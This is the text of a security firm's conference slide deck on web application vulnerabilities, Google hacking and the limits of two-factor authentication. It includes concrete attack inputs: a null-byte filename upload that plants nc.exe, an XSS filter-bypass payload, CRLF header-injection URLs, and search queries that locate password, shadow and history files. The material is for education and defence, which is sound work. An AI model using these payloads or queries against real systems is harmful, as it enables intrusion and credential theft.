

# Exposing Web Vulnerabilities

The State of Web Application Security

by Nick von Dadelszen

# Security-Assessment.com – Who We Are

- NZ's only pure-play security firm
- Largest team of security professionals in NZ
- Offices in Auckland, Wellington and Sydney
- Specialisation in multiple security fields
  - Security assessment
  - Security management
  - Forensics / incident response
  - Research and development



# Web Application Trends

- Still seeing old issues
  - XSS, SQL injection, parameter manipulation
- New ways to find and exploit existing issues
  - Input validation, Google
- Move to hacking the client
  - Phishing, man-in-the-middle, trojans



# Examples Of New Attacks

Null Byte Upload

.Net XSS Filtering Bypass

HTTP Header Manipulation

# Null Byte Upload 1

- ASP has trouble handling Null bytes when using FileScripting Object
- Take the following HTML code:

```
<form method=post enctype="multipart/form-data"
  action=upload.asp>
```

```
Your Picture: <input type=file name=YourFile>
```

```
<input type=submit name=submit value="Upload">
```

```
</form>
```



# Null Byte Upload 2

- Form posts to the following ASP code:

```
Public Sub Save(Path)
    Set objFSO =
    Server.CreateObject("Scripting.FileSystemObject")
    Set objFSOFile =
        objFSO.CreateTextFile(objFSO.BuildPath(Path,
    tFile + ".bmp"))
    ' Write the file contents
    objFSOFile.Close
End Sub
```



# Null Byte Upload 3

- If the POSTED filename contains a NULL byte, the FileSystem object only uses the information up to the NULL byte to create the file

**nc.exe<0x00>test.bmp creates nc.exe in file system**

- Must use Proxy to change filename
- WebScarab Handles Hex natively



**Intercept**

**Parsed** | **Bean Script** | **Raw**

**Method** **URL** **Version**

POST http://192.168.1.4/upload2/upload.asp HTTP/1.1

Header	Value
Host	192.168.1.4
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7
Accept	text/xml,application/xml,application/xhtml+xml;text/html; c
Accept-Language	en-us,en;q=0.5
Accept-Encoding	gzip,deflate
Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.7

**Hex**

Position	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	String
00000000	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	-----
00000010	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	32	33	35	-----235
00000020	30	32	30	32	32	37	36	30	33	38	0D	0A	43	6F	6E	74	0202276038..Cont
00000030	65	6E	74	2D	44	69	73	70	6F	73	69	74	69	6F	6E	3A	ent-Disposition:
00000040	20	66	6F	72	6D	2D	64	61	74	61	3B	20	6E	61	6D	65	form-data; name
00000050	3D	22	46	69	6C	65	31	22	3B	20	66	69	6C	65	6E	61	="File1"; filena
00000060	6D	65	3D	22	6E	63	2E	65	78	65	00	68	61	63	6B	69	me="nc.exe.hacki
00000070	6E	67	2E	6A	70	67	22	0D	0A	43	6F	6E	74	65	6E	74	ng.jpg"..Content
00000080	2D	54	79	70	65	3A	20	69	6D	61	67	65	2F	6A	70	65	-Type: image/jpe
00000090	67	0D	0A	0D	0A	FF	D8	FF	E0	00	10	4A	46	49	46	00	g.....JFIF.
000000A0	01	02	01	00	48	00	48	00	00	FF	ED	17	6C	50	68	6F	....H.H.....lPho
000000B0	74	6F	73	68	6F	70	20	33	2E	30	00	38	42	49	4D	03	toshop 3.0.8BIM.
000000C0	ED	00	00	00	00	00	10	00	48	00	00	00	01	00	01	00	.....H.....
000000D0	48	00	00	00	01	00	01	38	42	49	4D	04	0D	00	00	00	H.....8BIM.....
000000E0	00	00	04	00	00	00	78	38	42	49	4D	03	F3	00	00	00	.....x8BIM.....
000000F0	00	00	08	00	00	00	00	00	00	00	00	38	42	49	4D	04	.....8BIM.....
00000100	0A	00	00	00	00	00	01	00	00	38	42	49	4D	27	10	00	.....8BIM'..
00000110	00	00	00	00	0A	00	01	00	00	00	00	00	00	02	38		.....8
00000120	42	49	4D	03	F5	00	00	00	00	00	48	00	2F	66	66	00	BIM.....H./ff.

Cancel edits | Accept edits | Abort request





# .Net XSS Filtering Bypass 1

- ASP.Net 1.1 contains request Validation
- Built-in validators allow out-of-the-box protection for XSS and SQL injection
- Has a flaw allowing bypass of the filters
- Validator bans all strings in the form of <letter
- Close tags are allowed



## .Net XSS Filtering Bypass 2

- Bypass performed by adding a NULL byte between the < and the letter

```
foo.bar/test.asp?term=<%00SCRIPT>alert('Vulnerable')</SCRIPT>
```

- Validator no longer sees this as an invalid tag and allows it through

Browsers disregard NULL bytes when parsing so HTML code is still run



# HTTP Header Manipulation 1

- HTTP Response headers are set by the server
- When user input is included in headers then an attacker can control those headers
- Examples of user input included in headers are:
  - Cookies
  - Redirections
  - Referer



# HTTP Header Manipulation 2

- Standard redirect
  - Request:
    - `www.example.com/redirect.asp?query=test`
  - Response headers:
    - `HTTP/1.1 302 Object moved`
    - `Location: /index.html?query=test`



# HTTP Header Manipulation 3

- Header Insertion
  - Request:
    - `www.example.com/redirect.asp?query=test%0d%0aNew%20Header:%20blah`
  - Response headers:
    - HTTP/1.1 302 Object moved
    - Location: `/index.html?query=test`
    - New Header: `blah`



# HTTP Header Manipulation 4

- Malicious Redirect (Mozilla Only)
  - Request:
    - `www.example.com/redirect.asp?query=test%0d%0aLocation:%20http://www.google.com`

Response headers:

- HTTP/1.1 302 Object moved
- Location: /index.html?query=test
- Location: http://www.google.com



# Examples Of Other Recent Issues

- .Net authentication bypass
- <script> tag escaping
- Use of TRACE to capture authentication credentials
- HTTP response splitting
- Session riding



# GoogleMonster

Using The Google Search Engine For  
Underhand Purposes



# Google

- Google is a great search tool
  - Trolls Internet searching for pages
  - Finds pages based on links
  - Finds even those pages you don't want people to know about
  - Caches pages



# Simple Start

- We can use a standard Google search to find interesting pages such as indexes.
  - "index of /etc"
  - "index of /etc" passwd
  - "index of /etc" shadow
- Lots of irrelevant results



# Advanced Operators

- Google allows us to do more than just simple searching using advanced operators
- E.g.
  - filetype:
  - inanchor:
  - intext:
  - intitle:
  - inurl:
  - site:
  
  - intitle:index.of./etc passwd
  - filetype:mdb users.mdb



# Combining Operators

- We can combine multiple operators to create very specific searches
  - filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
  - "# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd



# Searching For Vulnerabilities

- We can use Google to search for specific web vulnerabilities
  - + "Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl
  - inurl:citrix/metaframexp/default/login.asp?  
ClientDetection=On



# Enter the GHDB

- GHDB = Google Hacking Database
- Over 900 unique search criteria for finding information
- Created and maintained at [johnny.ihackstuff.com](http://johnny.ihackstuff.com)



# Targeting Websites

- We can use the site: operator to restrict queries to a particular domain
- This allows an attacker to use Google to test a site for vulnerabilities without actually touching that site.
- Enter Wikto – Web Server Assessment Tool



Quit

Target

www.security-assessment.com

Start GH

Stop GH

Load GHDB

```
1 "cacheserverreport for" "This analysis was produced by calamaris"  
2 intitle:"Ganglia""Cluster Report for"  
3 intitle:"Index of" dbconvert.exe chats  
4 intitle:"Apache HTTP Server" intitle:"documentation"  
5 "Error Diagnostic Information" intitle:"Error Occurred While"  
6 intitle:"Index of" finance.xls  
7 intitle:index.of finances.xls  
8 "# Dumping data for table"  
9 intitle:index.of .bash_history
```

Manual



Results

cl



# Protecting Against Client Attacks

Will Two-Factor Authentication Help?

# What is Two-Factor Authentication

- Many different types of two-factor
  - One-time passwords
    - Password-generating token (SecureID, Vasco)
    - SMS tokens
    - Scratch pads
  - Client-side Certificates
    - Smart cards
    - USB keys
  - Biometrics



# The Trouble With Two-Factor

Designed for small user base

- Has a usability cost
- No clear market leader
- Potentially large implementation costs
- Will not stop all attacks
  - Man-in-the-middle
  - Intelligent Trojans



# The Weakness Of SSL

- Relies on trust
- Tells you that you have a secure session with A website, not THE website
- Certificates can be faked
- Root certificates can be installed – MarketScore
- Allows for Man-in-the-middle and IDN attacks



# MITM vs Two-Factor

<b>Customer</b>	-> Here is my username and password	<b>Man-in-the-middle</b>		<b>Website</b>
			-> Here is my username and password	
	<- What is your token password?		<- What is your token password?	
	-> Here is my token password			
			-> Here is my token password	
	<- Authenticated		<- Authenticated	
	-> Transfer \$10 to Bill			
			-> Transfer \$10 to Fred	
	<- Please re-authenticate		<- Please re-authenticate	
	-> Here is my token password			
			-> Here is my token password	
	<- Transaction accepted		<- Transaction accepted	

# Will Two-Factor Help?

- Does increase security
- Makes attacks harder
- Will require attacks to be more focused
- Must be a business decision
  - Amount of security required
  - Cost vs benefit



# Defence Against Client Attacks

- Authentication is the key
  - Client authentication
  - Server authentication
- Users must protect themselves
  - Don't use public terminals
  - Anti-virus
  - Firewall
  - Automatic updates



**Questions?**